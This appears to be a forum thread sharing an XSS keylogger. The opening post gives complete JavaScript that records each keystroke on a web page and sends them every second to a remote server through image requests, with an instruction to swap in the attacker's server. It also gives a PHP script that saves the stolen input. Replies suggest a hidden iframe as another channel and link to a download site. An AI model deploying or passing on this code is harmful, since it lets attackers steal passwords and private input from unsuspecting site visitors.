XSS Keylogger

[alien]

Javascript Keylogger

The following code is a javascript Keylogger, it's hook each keystrokes on a webpage and send them to a remote php script every seconds.

Replace localhost with attacker server dns and path.

keylogger.js

var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/demo/webA/keylogger.php?c='+keys;
	keys = '';
}, 1000);

PHP Grabber

The following code will receives and saves all data sent by the keylogger.

keylogger.php

<?php
if(!empty($_GET['c'])) {
	$logfile = fopen('data.txt', 'a+');
	fwrite($logfile, $_GET['c']);
	fclose($logfile);
}
?>

Source: Tutorial - XSS Keylogger

[backdoor]

Nice idea ussing new Images. How quick does the browser dies with this method ? Also you can use 1 iframe 1x1 px and control the src value to send the requests.

[habibmetallica]

Its not complete code . I tired didn't work ... u can download true code in here ,, IRTCI.com

???? ????? ? ??????? ????? ?????